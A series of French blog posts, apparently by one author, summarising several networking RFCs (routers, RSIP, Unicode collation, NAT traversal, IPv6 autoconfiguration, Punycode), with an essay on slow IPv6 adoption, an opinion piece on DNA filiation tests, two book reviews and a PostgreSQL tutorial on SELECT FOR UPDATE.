Créer un nouveau routeur IP est un gros travail, en partie parce qu'il faut lire des dizaines de RFC différents, sans avoir de vision d'ensemble et sans toujours pouvoir déterminer facilement ce qu'on doit faire et ce qui est facultatif. D'où l'idée de RFC de synthèse, comme celui-ci pour les routeurs (il succède au RFC 1716) ou comme le RFC 1123 pour les machines « terminales ». Mais, si le principe est bon, l'actualisation d'un tel document s'est révélée difficile. L'IETF travaillant sur la base du volontariat et la mise à jour de grosses synthèses étant moins intéressante que la création de nouveaux protocoles, le RFC a pris sérieusement la poussière. Officiellement, seul le RFC 2644 le modifie mais, en pratique, d'autres points de notre RFC semblent bien dépassés aujourd'hui. Par exemple, rares sont encore les équipements qui utilisent les paquets ICMP de répression de la source (Source Quench, section 4.3.3.3) car ces paquets facilitent trop les DoS (le RFC 6633 a officialisé l'abandon de ces paquets). Même chose pour le routage dirigé par la source (source routing).

Ce RFC fait 175 pages et est donc un gros morceau à lire (mais on ne crée pas un nouveau routeur tous les jours). C'est néanmoins une excellente source d'information pour quiconque s'intéresse au fonctionnement réel des réseaux informatiques.

Il commence par rappeler quelques principes généraux (sections 1 et 2), notamment le fait que ce RFC ne remplace pas les RFC standardisant tel ou tel protocole ou comme le principe de robustesse, Be conservative in what you do, be liberal in what you accept from others ou, dit autrement, « Ne faites pas le malin, essayez de coopérer avec les autres, pas de leur prouver qu'ils ont tort ». La section 2, sur l'architecture de l'Internet, est une bonne source sur ce sujet, recommandée à ceux qui apprennent comment fonctionne Internet. Puis chaque section est consacrée à une couche particulière, la section 3 à la couche 2, deux sections, 4 et 5, à la couche 3 (la section 5 s'occupant spécifiquement des cas où le paquet est transmis - forwarding), etc. La section 7, qui concerne la couche application s'occupe notamment des protocoles de routage.

Ainsi, pour citer quelques exemples des règles que pose ce RFC :

  • La section 3 sur la couche de liaison précise que le routeur IPv4 qui met en œuvre ARP (RFC 826) ne devrait pas abandonner les paquets tout de suite s'il manque provisoirement une entrée dans la table ARP (ce conseil n'est plus du tout suivi aujourd'hui où, pour éviter l'encombrement des files d'attentes et les DoS, les routeurs du cœur de l'Internet jettent immédiatement les paquets qui ne peuvent pas être transmis pour cette raison).
  • La section 4 n'impose pas de respecter les options IP comme Timestamp ou Record route qui n'ont jamais été réellement déployées (et ont disparu en IPv6).
  • La section 4 rappelle que le routeur doit être capable de fragmenter les paquets trop gros (cela a disparu en IPv6 et, même en IPv4, c'est peu utilisé, au profit des techniques décrites dans les RFC 1191 et RFC 4821).
  • La section 4 parle aussi d'ICMP et note que, pour éviter les avalanches, un paquet ICMP d'erreur ne doit jamais être envoyé en réponse à un autre paquet ICMP d'erreur.

Comme noté au début, le RFC n'a jamais été mis à jour donc il ne faut pas espérer y trouver d'informations sur les techniques apparues depuis, comme le NAT ou IPv6.


Téléchargez le RFC 1812


L'article seul

IPv6 ou l'échec du marché

Première rédaction de cet article le 30 octobre 2007


Pourquoi est-ce que le protocole IPv6 n'a pas encore décollé, malgré les recommandations de tous les experts ? Pour une simple raison économique. Déployer IPv6 coûte à celui qui le déploie, ne pas le déployer coûte équitablement à tout le monde. Dans un régime capitaliste, le choix est vite fait.

Cette fois, comme le note Geoff Huston dans son exposé à RIPE-55, tout le monde est passé en mode « Panique ». Les déclarations se multiplient, appelant à migrer vers IPv6 en vitesse (même l'ultra-mollassone ICANN s'y met), les acteurs prennent soudain conscience que le temps qui reste aux adresses IPv4 est inférieur à la durée de vie d'un routeur ou d'un serveur. Mais pourquoi a t-on tant attendu alors que tout le monde savait bien que les adresses IPv4 sont une ressource virtuelle non renouvelable, et que la pénurie se faisait sentir depuis de nombreuses années ?

Parce qu'Internet n'est pas géré collectivement. Chaque réseau qui forme Internet fonctionne de manière complètement autonome, sans réelle coordination avec les autres, et sans qu'une entité commune ne les synchronise, à part le marché.

Et c'est là que le bât blesse. IPv6 étant incompatible avec IPv4, personne n'a intérêt à migrer le premier. Il se retrouverait tout seul dans un bel Internet IPv6 bien vide, sans pouvoir télécharger de films pornos ou regarder ToiTuyau ou MouvementQuotidien. Résultat, les seules migrations sont celles de sites « double pile » (v4 et v6), ce qui ne réduit pas la pénurie d'adresses IPv4, et fait deux fois plus de travail pour les responsables de ces sites.

Pourtant, ce n'est pas une simple question d'argent. La non-migration vers IPv6 coûte très cher, notamment en temps passé à faire fonctionner les applications malgré le NAT, en complexité dûe à l'existence de deux domaines d'adressage, le privé et le public, en temps passé à remplir des papiers pour la bureaucratie des RIR, qui limite ainsi la consommation d'adresses IPv4, en lignes de code dans les applications SIP ou pair-à-pair pour arriver à contourner l'absence d'adresses globalement uniques. Le coût global de ces mesures est sans doute bien supérieur à celui d'une migration vers IPv6. Mais ce coût est entièrement partagé par tous les acteurs. Alors que le coût de migration n'est porté que par celui qui est assez courageux pour migrer. (Lixia Zhang dans l'IETF journal d'octobre 2007 remarque aussi que les gains du NAT se voient immédiatement alors que ses coûts sont dissimulés et n'apparaissent qu'à long terme, ce qui tend à favoriser ce système).

Le résultat est donc logique, même sans connaître les modèles de théorie des jeux comme le dilemme du prisonnier. Comme pour la pollution ou le réchauffement planétaire, lorsque les conséquences de l'inaction sont publiques et les bénéfices de celle-ci sont privés, il n'y a pas de motivation pour limiter le gaspillage.

On est donc dans un cas parfait de ce que les économistes nomment l'« échec du marché ». Dans l'incapacité de réaliser un déploiement coordonné d'IPv6 qui profiterait à tous, chaque acteur a des actions individuelles qui sont raisonnables pour lui, mais coûtent cher à tous.


L'article seul

RFC 3102: Realm Specific IP: Framework

Date de publication du RFC : Octobre 2001
Auteur(s) du RFC : M. Borella (CommWorks), J. Lo (Candlestick), D. Grabelsky (CommWorks), G. Montenegro (Sun)
Expérimental
Première rédaction de cet article le 29 octobre 2007


Depuis que la pénurie d'adresses IPv4 a poussé au développement d'adressages privés, spécifiques à une organisation, plusieurs techniques ont été proposées pour donner à ces mondes privés la connexion à Internet malgré leurs adresses IP non-officielles. Ce RFC décrit une expérience, le système RSIP, qui n'a eu aucun succès.

Auujourd'hui, il est relativement courant que certains réseaux connectés à Internet n'utilisent pas des adresses IP officielles, publiques, attribuées via un RIR, mais des adresses privées. Ces adresses privées sont en général tirées du RFC 1918 et la principale motivation pour les utiliser est qu'il est très difficile (et donc coûteux, même si on ne paie pas directement) d'obtenir aujourd'hui des adresses IPv4. Par exemple, si on est client d'un FAI grand public, on n'obtient au mieux qu'une seule adresse IPv4 publique, même si on a deux machines chez soi.

Pour accèder quand même à Internet, plusieurs méthodes ont été développées comme l'utilisation de relais (ALG pour Application Level Gateway aussi appelés proxies) ou comme la traduction d'adresses (NAT pour Network Address Translation). Mais toutes ces techniques remettent en cause un principe cardinal d'Internet, la connectivité de bout en bout, qui permet de déployer de nouvelles applications sans se soucier des routeurs intermédiaires. Avec des adresses IP privées, fini le modèle de bout en bout et les applications comme les soft phones doivent consacrer beaucoup d'efforts à contourner les routeurs NAT. Quant aux protocoles de sécurité comme IPsec, ils protestent évidemment si les paquets sont modifiés en cours de route.

D'où la proposition de ce RFC d'essayer un nouveau système. D'abord, RSIP (Realm Specific IP) change le vocabulaire, il n'y a plus d'adresses privées ou publiques (le terme est conservé dans le RFC mais n'a pas d'importance en pratique, RSIP peut fonctionner entre deux domaines privés, par exemple), seulement des domaines (realms) d'adressage différents. À l'intérieur d'un domaine RSIP, les machines communiquent normalement. Entre deux domaines, les deux machines sont prévenues par un routeur que les adresses appartiennent à des domaines différents et qu'il faudra donc s'adapter (encapsuler les paquets dans un paquet à destination du routeur RSIP). Le protocole lui-même est décrit dans un autre RFC, le RFC 3103.

On voit que RSIP, contrairement au NAT pur, repose sur une connaissance explicite par chaque machine « terminale » de la présence des deux domaines. Mais, au lieu d'interroger un serveur public, comme avec STUN, ici, ce sont les routeurs qui préviennent les machines terminales de l'existence de deux domaines. Ainsi, le modèle de bout en bout est relativement respecté, chaque machine ayant connaissance de son adresse IP telle qu'elle est vue par l'autre machine.

Le routeur RSIP, à la frontière de deux domaines, peut attribuer aux machines d'un domaine des adresses IP de l'autre domaine ou bien, s'il manque d'adresses IP, des couples adresse IP / port, que la machine pourra utiliser.

RSIP n'a pas été un succès et n'a connu apparemment aucun déploiement, peut-être parce que, comme le prévient l'IESG dans un avertissement inséré au début du RFC, cette technique nécessiterait une modification de toutes les machines terminales et d'une bonne partie des routeurs.


Téléchargez le RFC 3102


L'article seul

Les tests de filiation génétiques, ou le retour à l'animal

Première rédaction de cet article le 28 octobre 2007


Un amendement d'un député de droite extrême, adopté par l'Assemblée Nationale, permet le recours à des tests génétiques pour établir la filiation d'un demandeur de visa d'entrée en France. Laissant une substance chimique, l'ADN, décider qui est de la famille de quelqu'un est un retour, même pas à la sauvagerie, mais à l'état animal.

Seuls les animaux ne connaissent de filiation que biologique. Les humains, depuis longtemps, considèrent que la filiation est déterminée par la société, par l'amour des parents, par le droit, pas par la biologie. Les romains considéraient qu'un fils adoptif était un fils à part entière, exactement comme s'il avait été fils biologique (c'était par exemple le cas d'Auguste, fils de Jules César). En Afrique ou en Amérique Latine, il est relativement courant que, lorsqu'une femme ne peut élever tous ses enfants, une sœur ou une cousine le fasse à sa place pour certains. Qui peut dire que ces familles sont moins « authentiques » que les autres ?

Or, l'amendement au projet de loi sur l'immigration proposé par le député Mariani (ex-porte parole des intérêts financiers de Vivendi lors de la loi DAVDSI) met fin à tout cela. S'il est voté (et il a déjà été adopté en première lecture par l'Assemblée Nationale sarkoziste), il permettra d'établir la réalité de liens familiaux avec des tests génétiques. Or, ces tests ne peuvent pas affirmer la réalité des liens familiaux, ils ne peuvent détecter que des liens biologiques. Ce serait donc une victoire de l'ordre biologique contre l'ordre social et juridique, ce serait en effet « dégueulasse » comme l'avait affirmé Fadela Amara, lors d'un oubli momentané de son statut de membre du gouvernement Sarkozy.


L'article seul

Fiche de lecture : Unicode explained

Auteur(s) du livre : Jukka Korpela
Éditeur : O'Reilly
0-596-10121-x
Publié en 2006
Première rédaction de cet article le 27 octobre 2007


Voici le premier livre chez O'Reilly à propos d'Unicode. C'est un gros pavé de 700 pages et il ne couvre pourtant pas tout.

Le monde des écritures humaines est très riche et très compliqué et donc, logiquement, Unicode est compliqué. La norme est bien écrite, certes, mais rien ne peut rendre simple une réalité aussi complexe. N'attendons donc pas de ce livre des miracles, il explique déjà très bien beaucoup de choses.

L'orientation générale est plutôt vers l'auteur de documents. Le programmeur sera frustré, seul un chapitre lui est consacré, et une bonne partie est occupée par des langages de balisage comme HTML, qui ne sont pas de la programmation.

En revanche, Jukka Korpela explique avec beaucoup de détails (chapitres 4 à 6) la structure de la norme Unicode, les différents termes utilisés par celle-ci, les encodages et les innombrables informations qu'on peut trouver dans la base de données Unicode. Plus original, on trouve un excellent chapitre 2 consacré aux techniques permettant de saisir des caractères Unicode. Bien qu'il soit nettement trop orienté Windows à mon goût, ce chapitre réussit très bien à décrire les différentes méthodes.

Pour renforcer le côté « livre conçu pour les auteurs de textes, pas pour les programmeurs », je signale l'excellent chapitre 8, sur les usages des caractères, où on apprend plein de choses, même sur l'humble signe +. Beaucoup de caractères ont en effet plusieurs usages (la lettre grecque oméga - U+03A9 ou Ω - sert également à noter l'ohm, l'astérisque des énumérations en anglais sert également aux programmeurs à noter la multiplication, etc).

Le chapitre 11, consacré à la programmation est, on l'a dit, un peu limité, et il vaut sans doute mieux (re)lire Unicode demystified, de Richard Gillam.

Le chapitre 10 (sur les protocoles Internet) couvre également le problème intéressant d'écrire des textes en Unicode pour les publier sur Internet. L'auteur fait justement remarquer que, si on écrit en Unicode (par exemple en UTF-8), on sera tenté d'utiliser beaucoup plus de caractères, peut-être au détriment de la lisibilité du texte par les destinataires. Si on a donc relativement peu de caractères non-latins, il suggère de taper le texte en ASCII ou en ISO 8859 et d'utiliser les échappements comme &#x0627; (alif, ا). Curieusement, c'est justement ce que fait aujourd'hui l'auteur de ce blog, qui, en raison de problèmes avec UTF-8 rédige en Latin-1 et met les caractères non-latins avec des entités numériques XML.

Le style est très bon et les explications claires. La qualité générale de ce livre est celle des autres publications de cet éditeur et ce livre est donc à recommander aux non-programmeurs qui veulent comprendre les détails d'Unicode (ceux qui parlent français préféreront peut-être le livre d'Andries).


L'article seul

RFC 5051: i;unicode-casemap - Simple Unicode Collation Algorithm

Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : M. Crispin (University of Washington)
Chemin des normes
Première rédaction de cet article le 24 octobre 2007
Dernière mise à jour le 30 octobre 2007


Plusieurs protocoles, notamment IMAP, ont besoin de trier des chaînes de caractères. Il existe plusieurs règles de tri, plus ou moins faciles à mettre en œuvre et plus ou moins « correctes » pour l'utilisateur et ce RFC spécifie une règle qui respecte mieux les chaînes Unicode, sans pour autant être parfaite du point de vue des règles des langues vivantes.

Pour éviter à chaque application de réinventer la roue, il existe un registre IANA des règles de tri, que les protocoles n'ont qu'à référencer. Ce registre, initialement créé par le RFC 4790, se remplit petit à petit. Les premières règles étaient triviales à implémenter (comme i;octet, qui travaille uniquement au niveau binaire, sans comprendre les caractères), mais très éloignées de ce qu'un utilisateur humain appelerait un tri. Notre RFC normalise une nouvelle règle, i;unicode-casemap qui fournit un tri indépendant de la casse pour les chaînes Unicode.

La règle est assez simple à exprimer (et le RFC est très court) :

  • Convertir les caractères dans leur version capitalisée (attention, contrairement à ASCII, on ne peut pas le faire algorithmiquement, il faut une table),
  • Décomposer chaque caractère (pratiquement la normalisation Unicode NFKD).

Notre RFC donne l'exemple du caractère « LATIN CAPITAL LETTER DZ WITH CARON » (U+01C4 en Unicode, soit DŽ. Il est capitalisé en « LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (U+01C5, soit Dž). Il est ensuite décomposé en « LATIN CAPITAL LETTER D » (un grand D ordinaire) et « LATIN SMALL LETTER Z WITH CARON » (U+017E soit ž). Ce dernier est à son tour décomposé et le résultat final est Dž (trois caractères Unicode, le dernier étant le caron combinant, U+030C, dites-moi si vous voyez tout correctement sur votre navigateur). On peut alors trier.

Utilisant la base de données Unicode, on peut programmer cet algorithme (ici un programme écrit en Python) facilement. Voici les résultats, avec successivement le « e accent aigü », le « grand dz avec caron », et la ligature arabe « Djalladjalalouhou » :

 % ./decompose.py --rfc5051 -n U+00E9
U+000045 U+000301 
% ./decompose.py --rfc5051 -n U+1C4 
U+000044 U+00007A U+00030C 
% ./decompose.py --rfc5051 -n U+FDFB
U+00062C U+000644 U+000020 U+00062C U+000644 U+000627 U+000644 U+000647

Le programme n'est pas 100 % parfait (il ne gère pas le cas où la capitalisation d'une lettre est une chaîne et pas une lettre unique) mais presque.

Notons enfin une très intéressante section 3 sur la sécurité, qui explique comment deux implémentations correctes de cet algorithme peuvent quand même donner des résultats différents (un problème fréquent avec Unicode).


Téléchargez le RFC 5051


L'article seul

RFC 3424: IAB Considerations for UNilateral Self-Address Fixing (UNSAF) Across Network Address Translation

Date de publication du RFC : Novembre 2002
Auteur(s) du RFC : L. Daigle (IAB)
Pour information
Première rédaction de cet article le 23 octobre 2007


Le NAT est aujourd'hui une des techniques les plus répandues sur Internet. Motivé à l'origine par le manque d'adresses IPv4, il est devenu tellement répandu que rares sont les utilisateurs qui ne l'ont pas rencontré. Or, le NAT, qui brise le modèle « de bout en bout » qui a fait le succès de l'Internet, est une source sans fin d'ennuis pour les applications et leurs utilisateurs. De nombreuses propositions ont donc été faites pour contourner le NAT et passer malgré lui. Pour que le remède anti-NAT ne soit pas pire que le mal, l'IAB a produit ce RFC, qui explique les contraintes auxquelles doivent se plier toutes les technologies de contournement, spirituellement baptisées UNSAF (UNilateral Self-Address Fixing).

Un protocole UNSAF fonctionne typiquement avec un client situé, pour son malheur, derrière un NAT, et qui communique avec un serveur situé à l'extérieur, pour apprendre sa « vraie » adresse IP, qu'il pourra transmettre à ses pairs.

L'introduction du RFC commence par rappeler les limites de l'exercice. Comme il existe de nombreuses variétés de NAT, aucune solution de la famille UNSAF ne pourra tout résoudre. En outre, le NAT étant un bricolage pour répondre à un problème ponctuel, les solutions anti-NAT ne doivent pas chercher à être pérennes, et à bloquer le déploiement d'une solution propre (IPv6, dont les 2 puissance 128 adresses disponibles dispensent du NAT).

La section 2 du RFC énumère plus précisément les raisons pour lesquelles il n'y aura pas de solution générale. Par exemple, s'il y a plusieurs niveaux de NAT successifs, un client UNSAF doit-il utiliser la première adresse extérieure au NAT le plus proche, ou bien l'adresse la plus éloignée, en comptant qu'elle soit publique ? Un autre problème est le fait que le comportement passé du routeur NAT ne garantit pas son comportement futur. Notons encore que l'introduction d'une nouvelle partie, le serveur UNSAF, rend la communication plus fragile.

La section 3 précise les comportements observés chez les routeurs NAT et leurs conséquences (les RFC 3489 ou RFC 4787 sont allés bien plus loin depuis).

Finalement, la section 4 du RFC liste les conditions que devrait satisfaire toute proposition UNSAF :

  • Se limiter à un problème à court terme et ne pas essayer d'être trop général,
  • Décrire une stratégie de sortie, pour le jour où le NAT ne sera plus utilisé,
  • Insister sur le risque de fragilité de la solution UNSAF, si elle introduit des dépendances supplémentaires.

La section 5, sur la sécurité, demande, elle, que la solution UNSAF ne soit pas une occasion pour permettre des traversées du NAT qui n'auraient pas été possibles sans elle.

Tous les RFC sortis depuis se réfèrent donc à celui-ci, en expliquant comment ils répondent aux préoccupations citées (par exemple la section 14 du RFC 3489).

Cinq ans après, ce RFC semble excessivement prudent par rapport aux solutions UNSAF. D'une part, plusieurs d'entre elles, comme STUN sont devenues très répandues et permettent à leurs utilisateurs de passer la plupart des NAT. D'autre part, le rêve d'un déploiement rapide d'IPv6, permettant de se passer rapidement du NAT, ne s'est pas concrétisé. Enfin, les craintes de sécurité ont été relativisées par les analyses montrant que, de toute façon, le NAT n'apporte guère de sécurité réelle.

Le groupe de travail Behave, créé depuis a donc, logiquement, passé plus de temps à normaliser ce qu'un système NAT doit faire, plutôt que de limiter ce que peut faire un système anti-NAT.


Téléchargez le RFC 3424


L'article seul

RFC 3849: IPv6 Address Prefix Reserved for Documentation

Date de publication du RFC : Juillet 2004
Auteur(s) du RFC : G. Huston (Telstra), A. Lord (APNIC), P. Smith (Cisco)
Pour information
Première rédaction de cet article le 21 octobre 2007


Ce RFC normalise un préfixe IPv6 à seule fin de permettre aux auteurs de documentations de ne pas tomber sur des adresses réellement utilisées.

Traditionnellement, les auteurs de documentation qui avaient besoin de mettre des adresses IP dans les exemples les choisissaient un peu au hasard. Ce faisant, ils tombaient parfois sur des adresses utilisées dans le monde réel et, si le lecteur de la documentation était inattentif et tapait littéralement les adresses qu'il venait de lire, des problèmes pouvaient survenir. Dans l'inimitable style juridique états-unien, on a même vu des documentations IP, comme celles de Cisco, commencer par de longs textes expliquant que ces adresses IP ne sont là qu'à titre d'exemple et que le fournisseur décline toute responsabilité si ces adresses se révèlent être utilisées pour de bon, etc, etc.

Dans le monde IPv4, un compromis parfois utilisé était l'utilisation d'adresses privées (RFC 1918). Cela n'était pas complètement satisfaisant, puisque ces adresses étaient parfois réellement utilisées sur le réseau local. D'où l'importance d'adresses réservées à la documentation.

Pour IPv4, ces adresses sont décrites dans le RFC 5737, la plus connue étant 192.0.2.0/24. Pour IPv6, notre RFC annonce que 2001:db8::/32 a été réservé et que les adresses de ce bloc doivent donc désormais être les seules utilisées pour la documentation. C'est ce que je fais dans ce blog, par exemple pour les articles sur les RFC 5234 ou RFC 5006.


Téléchargez le RFC 3849


L'article seul

RFC 4862: IPv6 Stateless Address Autoconfiguration

Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : S. Thomson (Cisco), T. Narten (IBM), T. Jinmei (Toshiba)
Chemin des normes
Première rédaction de cet article le 20 octobre 2007


Ce RFC met à jour un protocole qui a souvent été présenté comme un des gros avantages d'IPv6, la possibilité d'acquérir une adresse globale par autoconfiguration.

Le principe de SLAAC (StateLess Address AutoConfiguration) est simple : la machine IPv6 écoute sur le réseau et détecte les RA (Router Advertisement) envoyés par le routeur (notre RFC ne s'applique en effet qu'aux machines « terminales », pas aux routeurs). Ces RA l'informent de la valeur du préfixe réseau utilisé. La machine concatène ce préfixe à un identificateur d'interface, obtenant ainsi une adresse (section 5 du RFC, notamment 5.5).

L'identificateur d'interface est décrit dans le RFC 4291, qui indique comment les fabriquer à partir d'éléments comme les adresses MAC. (Notez que la méthode recommandée est désormais de ne plus utiliser l'adresse MAC, cf. RFC 8064.)

Voici, vu par tcpdump, un de ces RA :

17:49:23.935654 IP6 fe80::20c:6eff:fe6e:e5d4 > ff02::1: ICMP6, router advertisement, length 56

Si le préfixe annoncé est 2001:660:f108::/64 et que le RA est reçu par la machine dont l'identificateur d'interface est 20c:6eff:fe6e:e73a, l'adresse IPv6 fabriquée sera 2001:660:f108:0:20c:6eff:fe6e:e73a.

Si IPv4 a désormais une possibilité analogue grâce au RFC 3927, IPv6 garde un gros avantage, la notion de préfixe publié, qui fait que ces adresses autoconfigurées sont globales, elles peuvent être utilisées sur tout l'Internet.

Cette méthode d'autoconfiguration, dite sans état, est concurrente de DHCP (RFC 3315).

Notons qu'on n'est pas obligé d'attendre le Router Advertisement du routeur, on peut le solliciter avec un Router Solicitation.

La section 5.4 de notre RFC décrit la procédure DAD (Duplicate Address Detection), qui permet de s'assurer que l'adresse obtenue est bien unique en envoyant un Neighbor Solicitation (RFC 4861).

Toujours vue avec tcpdump, voici toute la procédure, envoi d'un RS, réception du RA et DAD :

18:13:32.046584 IP6 fe80::20c:6eff:fe6e:e73a > ff02::2: ICMP6, router solicitation, length 16
18:13:32.046861 IP6 fe80::20c:6eff:fe6e:e5d4 > ff02::1: ICMP6, router advertisement, length 56
18:13:32.578592 IP6 :: > ff02::1:ff6e:e73a: ICMP6, neighbor solicitation, who has 2001:660:f108:0:20c:6eff:fe6e:e73a, length 24

tcpdump n'affiche pas tous les détails, il ne montre pas le préfixe, ni la durée du bail (l'annonce RA est valable pour un certain bail, de durée limitée).

Parmi les limites du protocole, la section 6 du RFC note qu'il n'offre aucune sécurité. Une machine peut envoyer des faux RA, peut répondre aux DAD qui ne sont pas pour elle, etc.

Notre RFC remplace le RFC 2462. Il s'agit de changements mineurs, qui ne devraient pas toucher l'interopérabilité (mais qui peuvent affecter les implémentations, comme l'obligation d'un délai aléatoire avant de tester la duplication d'adresse).


Téléchargez le RFC 4862


L'article seul

RFC 3492: Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)

Date de publication du RFC : Mars 2003
Auteur(s) du RFC : A. Costello (University of California, Berkeley)
Chemin des normes
Première rédaction de cet article le 19 octobre 2007


La norme IDNA, qui permet d'utiliser des caractères Unicode dans les noms de domaine, dépend de deux algorithmes spécifiés séparément, nameprep (RFC 3491) et Punycode (notre RFC), qui transforme une chaîne Unicode en un sous-ensemble d'ASCII, qui peut être utilisé dans des logiciels non-Unicode.

En effet, les applications qui gèrent des noms de machine sont tenues aux règles très restrictives du RFC 1123, qui limite ces noms à LDH, un sous-ensemble d'ASCII limité aux lettres, chiffres et au tiret. (Contrairement à ce qu'on lit souvent, cette restriction n'a rien à voir avec le DNS, qui accepte bien plus de caractères, depuis toujours.) La solution adoptée dans le cadre IDNA est donc d'encoder les caractères Unicode en Punycode, qui n'utilise que LDH. Punycode est donc un concurrent d'autres encodages d'Unicode, plus généralistes, comme UTF-8 ou UTF-7.

Punycode est spécifié en deux temps. Un algorithme général, Bootstring, présenté dans les sections 3 et 4, permet de mettre en correspondance une chaîne de caractères Unicode avec une chaîne de caractères écrite dans un sous-ensemble d'Unicode. Cet algorithme est paramétré par certaines variables, qui reçoivent ensuite en section 5 une valeur particulière, ces valeurs définissant le profil Punycode. Notons qu'à ma connaissance, il n'existe aucun autre profil de Bootstring. Donc, en pratique, il n'est pas trop gênant de confondre Bootstring et Punycode.

La section 1.1 de notre RFC détaille les propriétés de Bootstring. Il est complet (toute chaîne Unicode peut être représentée en Punycode mais notons qu'IDNA, la seule application de Bootstring aujourd'hui, interdit certains caractères comme les espaces). Et il est sans perte, toute chaîne Unicode encodée en Punycode peut être récupérée par un décodage (là encore, IDNA a un mécanisme de normalisation, nameprepRFC 3491 - qui n'a pas cette propriété). Punycode est également compact, un gros avantage vue la limitation des labels DNS à 63 caractères.

Punycode n'est pas un algorithme très compliqué, le RFC est assez court (et une bonne partie est occupée par l'implémentation de référence). Mais il contient d'avantage d'algorithmique que beaucoup de RFC.

On l'a dit, la section 5 fixe les paramètres spécifiques à Punycode. Par exemple, le paramètre base est égal à 36 à cause de LDH (vingt-six lettres et dix chiffres, le tiret ayant un autre usage).

Passons maintenant à un exemple concret. Avec le code C inclus dans le RFC (un bel exemple de C ANSI, qui ne soulève aucune objection du sourcilleux compilateur GNU, même avec les options -Wall et -pedantic), convertissons le mot « café » en Punycode (ce programme ne lit les caractères Unicode que sous la forme U+nnnn) :

% gcc -o punycode punycode.c
% echo u+0063 u+0061 u+0066 u+00E9 | ./punycode -e 
caf-dma

Le mot d'origine étant essentiellement composé d'ASCII, on en reconnait une partie dans la version Punycode. Traduisons-le maintenant en sens inverse :

% echo caf-dma | ./punycode -d
u+0063
u+0061
u+0066
u+00E9

On voit qu'on a récupéré, comme prévu, exactement la même chaîne.


Téléchargez le RFC 3492


L'article seul

SELECT FOR UPDATE en SQL, pour les accès concurrents

Première rédaction de cet article le 17 octobre 2007


Un problème courant avec les bases de données est l'accès à une liste de tâches, stockée dans la base, et à laquelle plusieurs programmes clients accèdent. Comment faire pour éviter qu'ils choisissent la même tâche ?

Si on veut que chaque tâche soit traitée une fois et une seule, et dans l'ordre où elles ont été enregistrées dans la base, la méthode typique est d'utiliser la requête SQL SELECT FOR UPDATE. Voyons d'abord ce qui se passe si aucune précaution particulière n'est prise.

Nous avons une liste de tâches dans la base, ainsi décrite :

CREATE TABLE tasks (id SERIAL UNIQUE NOT NULL,
  todo TEXT, 
  done BOOLEAN DEFAULT false, 
  owner INTEGER); -- The one who act on the task

Supposons maintenant que deux programmes clients, que nous nommerons Tancrède et Clorinde, accèdent à la base en même temps. Chacun va chercher la tâche la plus ancienne (de id minimale) non encore faite, puis la faire (et mettre à jour les champs id et owner).

Les essais sont faits avec PostgreSQL et son programme psql. On lance deux terminaux et, dans chacun d'eux, on se connecte à la même base avec psql. Cela permet de voir l'effet de la concurrence entre ces deux applications clientes. (J'ai triché un peu en modifiant l'invite de psql pour afficher le nom de l'utilisateur) :

tancrède=> BEGIN;
BEGIN
tancrède=> SELECT min(id) FROM tasks WHERE NOT done;
 min 
-----
   1
(1 row)

tancrède=> UPDATE tasks SET done=true,owner=1 WHERE id = 1;
UPDATE 1
tancrède=> COMMIT;
COMMIT
tancrède=> SELECT * FROM tasks;
 id |     todo     | done |   owner 
----+--------------+------+-------------
  2 | Nothing more | f    |            
  3 | Later        | f    |            
  1 | Nothing      | t    |           1
(3 rows)

Clorinde verra exactement la même chose. La transaction lancée par le BEGIN fait qu'elle ne voit pas les modifications de Tancrède, elle récupère le même id et va accomplir la même tâche. Les modifications gagnantes seront simplement celles du dernier à avoir commité.

Par défaut, PostgreSQL a des transactions en isolation READ COMMITTED. On peut augmenter leur niveau d'isolation :

tancrède=> SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

qui permettra de détecter le problème mais pas de le résoudre. La deuxième transaction à faire le UPDATE sera simplement rejetée. C'est plus satisfaisant mais pas très pratique.

Une autre approche serait d'utiliser des verrous explicites. Cette solution n'est pas tellement dans l'esprit des bases de données à transactions et peut se payer cher en terme de performance. (La documentation de PostgreSQL explique ces différents choix.)

Une meilleure approche, en SQL standard, est le SELECT FOR UPDATE. Avec cette option, le SELECT va verrouiller automatiquement les données.

tancrède=> SELECT id FROM tasks WHERE NOT done ORDER BY id FOR UPDATE OF tasks;

On note qu'on ne peut plus utiliser la fonction min(), PostgreSQL n'autorisant pas les fonctions agrégat pour le SELECT FOR UPDATE. Il faudra donc récupérer plusieurs tâches et ne garder que la plus ancienne.

Si Clorinde tente un SELECT FOR UPDATE un peu après, son SELECT sera bloqué jusqu'à la fin de la transaction de Tancrède.

Ce mécanisme est bien expliqué dans la documentation de PostgreSQL.

Si l'idée de rester bloqué lors d'un SELECT FOR UPDATE est désagréable, notons qu'il existe une option NOWAIT qu'on peut ajouter à la fin de la requête SQL. Son effet sera de renvoyer immédiatement une erreur si le SELECT FOR UPDATE est bloqué par un autre.

Notons enfin un dernier piège (et merci à Tom Lane pour ses explications). Je n'ai pas utilisé LIMIT 1 dans les SELECT ci-dessus alors que cela aurait été un moyen simple de ne récupérer qu'une seule tâche. C'est parce que LIMIT est évalué avant le FOR UPDATE. Un SELECT avec LIMIT 1 peut donc ne rien renvoyer du tout. L'application cliente qui veut quand même l'utiliser doit donc se préparer à ne rien recevoir et à reessayer ensuite de temps en temps.


L'article seul

Fiche de lecture : Who rules the Net?

Auteur(s) du livre : Adma Thierer, Clyde Wayne Crews
Éditeur : Cato
1-930865-43-0
Publié en 2003
Première rédaction de cet article le 16 octobre 2007


La question de savoir qui doit diriger l'Internet n'a pas cessé de poser depuis que ce réseau de réseaux a cessé d'être un jouet ultra-subventionné, pour devenir un espace public, soumis à toutes les règles de la politique et du droit. Ce livre nous donne un point de vue très états-unien sur la question.

En effet, dans des discussions comme à l'ICANN ou bien à l'IGF, on parle le langage diplomatique. On ne dit pas franchement ce que l'on veut, encore moins ce que l'on fait. Dans ce livre, par contre, son éditeur, l'Institut Cato, un centre de réflexion sur la politique, très marqué à droite, l'Institut Cato, donc, ne prend pas de gants.

Ainsi, l'article de Christopher Cox, « Establishing global Internet freedom » est un point de vue impérialiste classique, appelant à établir les mêmes règles qu'aux États-Unis, partout dans le monde, par la force si nécessaire.

